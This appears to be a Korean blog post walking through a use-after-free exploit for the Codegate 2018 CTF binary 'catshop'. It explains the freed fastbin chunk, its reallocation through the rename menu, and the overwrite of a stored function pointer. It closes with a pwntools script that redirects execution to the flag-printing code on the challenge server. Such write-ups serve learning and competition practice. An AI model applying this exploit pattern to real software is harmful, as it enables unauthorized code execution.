[Codegate 2018] catshop
32bit 바이너리이고, Canary와 NX가 걸려있습니다.
main 함수의 코드는 이렇습니다.
숫자를 입력 받을 때, scanf %d, 혹은 read로 입력 받은 후 atoi로 변환하는 것이 아니라, 그냥 read로만 읽기 때문에 python을 이용해서 입력을 줘야합니다.
처음에 1과 2 메뉴로 8byte fastbin을 할당하고 해제할 수 있습니다.
1번 메뉴에서 할당한 주소에 mew~! mew~!를 print 해주는 함수 포인터를 저장하죠.
그리고 3번 메뉴에서 그 함수 포인터를 이용해서 함수를 호출하게 됩니다.
4번 메뉴에서는 이름을 바꿀 수 있는 함수가 있습니다.
여기서도 read로 읽어와서 malloc으로 할당해주고, 거기에 원하는 내용을 fgets 함수로 적을 수 있습니다.
하지만 1, 2 메뉴로 할당하고 해제한 뒤, 다시 여기서 같은 주소로 할당할 수 있다면, 3번 메뉴를 이용해서 UAF가 가능하겠네요!
그리고 바이너리에 flag를 출력하게 해주는 코드도 있습니다.
입력을 fgets로 받습니다. 여기서 주의할 점은 fgets는 입력 받을 개수 – 1만큼 입력을 받고 마지막 문자를 NULL로 만들기 때문에, 4byte 주솟값을 넣어주려면 크기를 5로 넣어줘야 합니다. (4byte address + \x00)
지금까지 시나리오를 작성해보면, 1 (malloc) -> 2 (free) -> 4 (malloc, length 5, 4byte add + \x00) -> 3 (call) 하면 플래그를 읽어올 것 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
from pwn import *
s = remote('211.117.60.76', 8888) #s = process('./catshop')
s.send(p32(1)) #malloc sleep(0.1) s.send(p32(2)) #free sleep(0.1) s.send(p32(4)) #malloc sleep(0.1) s.send(p32(5)) #length sleep(0.1) s.send(p32(0x80488bf)) #4byte address + \x00 sleep(0.1) s.sendline(p32(3)) #call sleep(0.1)
print s.recv() |
이렇게 코드를 짤 수 있습니다.
flag가 출력됩니다.
감사합니다.
'System&Write up > CTF' 카테고리의 다른 글
[LeagueOfGuardians 2] FOR (0) | 2018.07.24 |
---|---|
[Codegate 2016] watermelon (0) | 2018.06.03 |
[Codegate 2018] DaysNote (0) | 2018.04.08 |
[Codegate 2018] betting (1) | 2018.04.06 |
[securinets CTF 2018] Boobs (0) | 2018.03.27 |